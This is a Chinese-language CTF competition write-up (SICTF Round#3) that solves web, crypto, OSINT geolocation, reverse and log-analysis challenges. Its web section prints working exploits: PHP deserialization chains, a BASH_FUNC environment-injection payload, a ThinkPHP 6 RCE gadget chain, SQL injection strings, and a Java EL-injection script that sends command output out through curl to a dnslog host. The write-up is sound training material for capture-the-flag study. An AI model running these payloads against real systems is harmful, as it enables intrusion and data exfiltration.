SICTF Round#3 WP

战队名:Dosec

队员:xiaolaisec

又是一个人孤军奋战,师傅们太猛了,我最后实在是顶不住了,最终是第52名(我是菜鸡)

WEB

100%_upload

上传图片马shell.jpg

利用文件包含去包含我们的图片马

Not just unserialize

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?>

打反序列化链子

<?php

class start

{

    public $welcome;

    public $you;

}



class SE{

    public $year;

}



class CR {

    public $last;

public $newyear="\nworries";

}



class ET{

}

$a=new start();

$a->welcome=new SE();

$a->welcome->year=new CR();

$a->welcome->year->last=new ET();



echo base64_encode(serialize($a));

输出:

Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9

最后进行putenv进行getshell,参考文章:

我是如何利用环境变量注入执行任意命令 - 跳跳糖

最终payload:

?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9&get[BASH_FUNC_echo%%]=()%20{%20cat%20/f*;%20}

EZ_SSRF

dirsearch扫后台可以得到admin.php

Admin.php如下

我们直接利用index.php打SSRF进行IP伪造

<?php

class client{

    public $url='http://127.0.0.1/admin.php';

    public $payload;

}

$a=new client();

echo serialize($a);

最终Payload:

?Harder=O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}

得到一串base64字符

解密即可得到flag

Oyst3rPHP

后台有个www.zip,下载进行代码审计

代码审计后可以知道是利用ThinkPHP6.0.x打反序列化,前提是绕过有个md5比较和preg_match正则,利用?right=s878926199a&left=s155964671a绕过md5,利用PCRE回溯次数限制绕过正则,最终利用EXP进行getshell(题目不能反弹shell)

EXP:

<?php

namespace think\model\concern;

trait Attribute

{

    private $data = ["Lethe" => "cat /O*"];

    private $withAttr = ["Lethe" => "system"];

}

namespace think;

abstract class Model

{

    use model\concern\Attribute;

    private $lazySave;

    protected $withEvent;

    private $exists;

    private $force;

    protected $table;

    function __construct($obj = '')

    {

        $this->lazySave = true;

        $this->withEvent = false;

        $this->exists = true;

        $this->force = true;

        $this->table = $obj;

    }

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

}

$a = new Pivot();

$b = new Pivot($a);

echo base64_encode(serialize($b));

Payload: GET:http://yuanshen.life:37259/?right=s878926199a&left=s155964671a

POST太长就不复制了,查看源码得到flag

hacker

题目过滤了or,and,|,&,可以用union select注入

由于过滤了or,所以information_schema数据库也用不了,因此我们无法知道flag的列名

源码有提示flag在flag表里,利用无列名注入

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1_网鼎杯知识点-CSDN博客

Payload:

?username=flag%27/**/union/**/select/**/(select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select*from/**/flag)n)%23

[进阶]elInjection

这题考EL注入,后面懂的都懂,出题人教我们做题,hint就是wp[狗头]

(先知首发)浅析EL表达式注入漏洞 [ Mi1k7ea ]

Java EL (Expression Language)表达式注入 | J0k3r's Blog

利用ScriptEngine基础上可以使用Base64编码Bypass

非预期解法dns出网情况下,dns换行导致解析失败可以使用命令,ls /|head -n 1|tail -n -1,来读取行数

flag没有权限读取,执行/readflag获取

套双层ScriptEngineManager的eval执行java.util.Base64解码内容

能执行命令的bash -c "curl `/readflag`.dns"

Exp:

import requests

import base64


def encode(payload):

    encode_payload = ""

    for i in range(0, len(payload)):

        if i == 0:

            encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])

        else:

            encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])

    return encode_payload

cmd = b"curl `/readflag`.2xrr6i.dnslog.cn"

exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(%s)}' % (encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")"))

url = "http://yuanshen.life:23333/test"
data = {'exp': exp}
r = requests.post(url, data).text
print(r)

最后dnslog外带即可

Crypto

[签到]Vigenere

下载附件得到可疑字符串

进行Vigenere解密,密钥为tfsaa(我试出来的)

Forensics

[签到]OSINT签到

flag格式:SICTF{x省_x市_x区_x公园},没有空格等特殊符号

下载附件使用Google进行搜索可以确定是海南省海口市的某个地方

题目描述是“浅浅的去山上眺望一下”,可以搜索大英山附近的公园

可以看到红城湖公园很像,搜索红城湖公园的位置即可

最终flag为:SICTF{海南省_海口市_琼山区_红城湖公园}

树木的压迫

flag格式:SICTF{x省_x市_x区_x(街道名)×号_xx},没有空格等特殊符号

将图片放大搜索可以看到达州市有一个特别像的图

可以确定是达州市体育中心,使用地图搜索即可

最终flag:SICTF{四川省_达州市_通川区_凤凰大道376号_达州市体育中心}

真的签到

SICTF{x省_x市_x区_xx(商场名)},没有空格等特殊符号

下载附件利用谷歌进行搜索,可以发现很多的摩天轮的图片,无法直接确定位置

根据题目描述是时间是11月中旬,图片有个细节就是楼梯上的小姐姐穿的还是短袖,可以知道这个地方肯定是比较偏南的地方,我第一时间想到的是广州

经过很长时间的搜索发现一个比较相似的图片

搜索相关视频可以看到和附件非常相似(大屏、还有电梯等)

最终flag:SICTF{广东省_珠海市_斗门区_大信新都汇}

这才是签到

flag格式:SICTF{x(国家)_x(城市)_x(拍摄地点)_x(目的地)},没有空格等特殊符号

这题有点坑,附件:

根据图片可以知道图中是意大利威尼斯的达涅利酒店,地图定位到这,第二张图说走过小道,可以推测目的地就在附近,再根据提示不是酒店,比例尺调到20m,之后就是对附近的地址进行猜测即可。。。

最终得到flag:SICTF{意大利_威尼斯_GondolaDanieli_ChiesadiSanZaccaria}

签退

flag格式:SICTF{xx_x(城市)_x(拍摄点)_x(店铺名)},没有空格等特殊符号

下载附件利用google进行搜索,因为那个蜘蛛侠有点显眼,便可以找到这么一张图

这是别人发的帖子

有这么一句话Anybody know what Spidey is doing on Loop Street?翻译过来就是:有人知道蜘蛛侠在卢普街干什么吗?,这个信息非常关键,因此我们可以得知这是南非开普敦的卢普街,然后使用google地图找到Loop St慢慢找一下就可以了

最终flag:SICTF{南非_开普敦_StrandSt_STEERS}

Reverse

[签到]Baby_C++

下载附件,额不知道是不是非预期了(我本人一点不会逆向),我在记事本里直接打开,搜索SICTF就找到了。。。

[Game][Battle City]

非预期解,下载附件玩游戏,通关即可多出一个win.png图片,扫码即可获得flag。

最终flag:SICTF{Y0u_@Re_bat71e_C1ty_Ma5t3r}

MISC

问卷调查

填完问卷即可获得flag。

[签到]签到

下载附件扫码,关注微信公众号回复"SICTF{Round3,我来辣~}"获取flag

日志分析2

flag格式为 SICTF{攻击者的IP地址|攻击者得到Web应用后台管理权限的方法|攻击者在SQL注入攻击过程中使用的自动化工具名称|工具版本号|攻击者使用的Webshell连接工具(中文名)|工具版本号}

下载附件,在access.log.1中可以找到攻击者的IP,sql注入使用的工具以及webshell连接工具以及其版本号

在前面可以看到攻击者不停对服务器的login界面发送请求,猜测是在暴力破解后台的账号密码

最终flag:SICTF{10.11.35.95|暴力破解|sqlmap|1.2.4.18|蚁剑|2.1}

  • 24
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值